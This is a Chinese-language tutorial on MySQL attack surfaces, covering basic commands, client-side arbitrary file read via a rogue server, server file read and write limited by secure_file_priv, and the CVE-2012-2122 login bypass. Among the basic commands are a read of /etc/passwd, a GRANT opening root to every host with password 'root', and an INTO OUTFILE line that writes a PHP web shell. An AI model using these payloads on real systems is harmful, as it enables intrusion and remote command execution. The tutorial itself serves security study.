0x01 簡單介紹
MySQL 是最流行的關係型數據庫管理系統,在 WEB 應用方面 MySQL 是最好的 RDBMS(Relational Database Management System:關係數據庫管理系統)應用軟件之一。
MySQL 是一個關係型數據庫管理系統,由瑞典 MySQL AB 公司開發,目前屬於 Oracle 公司。MySQL 是一種關聯數據庫管理系統,關聯數據庫將數據保存在不同的表中,而不是將所有數據放在一個大倉庫內,這樣就增加了速度並提高了靈活性。
0x1 版本介紹
0x02 基礎指令
0x1 創建
create database hehe;//創建數據庫
CREATE TABLE IF NOT EXISTS `runoob_tbl`(
`runoob_id` INT UNSIGNED AUTO_INCREMENT,
`runoob_title` VARCHAR(100) NOT NULL,
`runoob_author` VARCHAR(40) NOT NULL,
`submission_date` DATE,
PRIMARY KEY ( `runoob_id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;//創建數據表
0x2 查看
show databases;
show tables;
show variables like '%secure%'; //查看安全屬性
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n';//讀取客戶端文件
0x3 更新
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
flush privileges;
0x4 文件讀寫
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
SELECT LOAD_FILE('/var/lib/mysql-files/aaa') AS Result;
select group_concat(id) from test INTO DUMPFILE "/var/lib/mysql-files/aaaa";
0x03 攻擊面分析
0x1 Mysql 客戶端任意文件讀
適用範圍: 全版本 MySQL/MariaDB Client
條件:客戶端連接時開啓 –enable-local-infile
從結果上來看,客戶端讀取了自身指定的數據,抓取數據包分析整個流程。
1. Client Send 3306
192.168.0.114 是SqlServer 192.168.0.115爲客戶端
2. Server Send Greeting packet
服務端返回一個server端基礎信息表包含版本,協議類型,salt值,server 功能項
這裏有一個server 功能表
3. Client Auth and Send capability
這個包可以說是客戶端的登錄包,包含用戶名,密碼,還有一份客戶端能力表。
從圖中可以看出client連接時開啓了 --enable-local-infile 配置
4. Client Queries
接下來就是一些正常的客戶端查詢了
5. Client Send LOAD DATA LOCAL
最終客戶端發送下面指令
6. Server Send Filename
服務端收到這個執行語句後會給客戶端以特定的協議格式發送一個包,類似於下面,功能類似於告訴客戶端把這個文件發給我讓我看看,如果連接時配置 –enable-local-infile 或者dsn 加上了allowAllFiles=true
7. 其他
攻擊腳本 Rogue_Mysql https://github.com/allyshka/Rogue-MySql-Server
PHP有一些mysql客戶端擴展,如mysql、mysqli、pdo,除了pdo外都可以被利用,因爲pdo默認禁止讀取本地數據,你需要通過設置PDO::MYSQL_ATTR_LOCAL_INFILE爲true來啓用本地數據讀取。同樣的,如果客戶端使用的是python的MySQLdb,也需要先設置local_infile連接選項。
0x2 Mysql 服務端文件讀寫
適用範圍: 全版本 MySQL/MariaDB Client
條件:服務端配置可讀寫目錄和正確的用戶權限
1. 安全保護
mysql服務端的文件讀取有很多的條件限制,主要是mysql數據庫的配置,爲了安全原因,當讀取位於服務器上的文本文件時,文件必須處於數據庫目錄或可被所有人讀取。你可以通過執行show variables like '%secure%'
來查看:
secure-file-priv參數是用來限制LOAD DATA, SELECT … OUTFILE, DUMPFILE and LOAD_FILE()可以操作的文件夾。
secure-file-priv的值可分爲三種情況:
- secure_file_priv的值爲null ,表示限制mysqld 不允許導入|導出
- 當secure_file_priv的值爲/tmp/ ,表示限制mysqld 的導入|導出只能發生在/tmp/目錄下,此時如果讀寫發生在其他文件夾,就會報錯
- 當secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制
除此之外讀取或寫入文件必須擁有可操作的用戶權限否則會報錯:
ERROR 1045 (28000): Access denied for user
2. 讀取文件
SELECT LOAD_FILE('/var/lib/mysql-files/aaa') AS Result;
create database test;
CREATE TABLE test ( id TEXT, content TEXT);
load data infile "/var/lib/mysql-files/aaa" into table test.test FIELDS TERMINATED BY '\n\r';
3. 寫入文件
select group_concat(id) from test INTO DUMPFILE "/var/lib/mysql-files/aaaa";
0x3 Mysql 身份認證繞過漏洞(CVE-2012-2122)
版本範圍 :
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
當連接MariaDB/MySQL時,輸入的密碼會與期望的正確密碼比較,由於不正確的處理,會導致即便是memcmp()返回一個非零值,也會使MySQL認爲兩個密碼是相同的。也就是說只要知道用戶名,不斷嘗試就能夠直接登入SQL數據庫。
漏洞復現 https://github.com/vulhub/vulhub/tree/master/mysql/CVE-2012-2122 直接搭建docker環境